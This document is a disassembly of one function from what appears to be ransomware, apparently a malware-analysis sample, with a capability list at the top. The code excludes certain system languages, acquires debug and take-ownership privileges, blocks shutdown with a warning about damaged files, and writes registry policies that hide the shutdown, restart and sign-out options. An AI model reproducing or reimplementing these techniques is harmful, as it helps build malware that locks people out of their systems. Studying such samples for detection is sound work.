Function at 0x14000ab90
Capabilities:
Acquire debug privileges
Create thread
Hide shutdown actions via policy
Identify system language via api
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x140067040]
xor rax, rsp
mov qword [rbp + 0x270], rax
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_2::_lambda_1___void___.0
mov qword [rsp + 0x3a8], r14
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x20]
lea rax, [rsp + 0x78]
xor r14d, r14d
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x50], rax
mov qword [rbp + 0x58], r14
call fcn.140011ff0
mov rcx, qword [rbp - 0x50]
mov qword [rbp + 0x58], rax
test rcx, rcx
je 0x14000ac02
mov rax, qword [rcx]
lea rdx, [rsp + 0x78]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x14000ac2a
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x14000b368
xor r8d, r8d
mov qword [rsp + 0x390], rbx
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
test rax, rax
je 0x14000b360
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b360
mov qword [rsp + 0x398], rsi
mov rcx, rbx
mov qword [rsp + 0x3a0], rdi
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000acb5
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000acb5
lea rdx, [0x140049800]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.140030fc0
mov rcx, rax
call fcn.14002b470
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.1400072b0
lea rcx, str.SeDebugPrivilege
call fcn.1400072b0
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14000a850]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x14000ad10
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], r14
lea r8, [0x1400156c0]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp + 0x60]
xor ecx, ecx
mov qword [0x14006a138], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp + 0x60]
lea rax, [rax + rcx*2]
nop dword [rax]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x14000ad80
lea rcx, [0x14006a160]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x14006a160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x14006a270]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14006a2e0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14006a298]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000ae86
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm0
lea rax, [0x14000ab80]
movdqa xmmword [rbp - 0x10], xmm1
xor ecx, ecx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x40]
lea rax, str.window
mov qword [rbp], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r14
xor r9d, r9d
mov qword [rsp + 0x50], r14
xor r8d, r8d
mov qword [rsp + 0x48], r14
xor ecx, ecx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 0x80000000
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], r14d
movzx edx, ax
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rdi
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], 1
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rsp + 0x3a0]
test eax, eax
jne 0x14000aef8
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000af5b
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000afbe
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], r14d
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], r14
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b025
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.shutdownwithoutlogon
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b088
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxConnectionTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b0eb
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxDisconnectionTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b14e
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxIdleTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140009c50
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b1c9
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b22c
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b28f
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], 1
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], r14
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b2f9
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.shutdownwithoutlogon
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x14006a270]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14006a2e0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14006a298]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
test rbx, rbx
je 0x14000b33c
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x14000b358
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x398]
mov rbx, qword [rsp + 0x390]
mov rcx, qword [rbp + 0x58]
mov r14, qword [rsp + 0x3a8]
test rcx, rcx
je 0x14000b3b2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x14000b398
mov rax, qword [rcx]
lea rdx, [rbp + 0x20]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
xor eax, eax
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.1400236d0
add rsp, 0x380
pop rbp
ret
call fcn.140024790
int3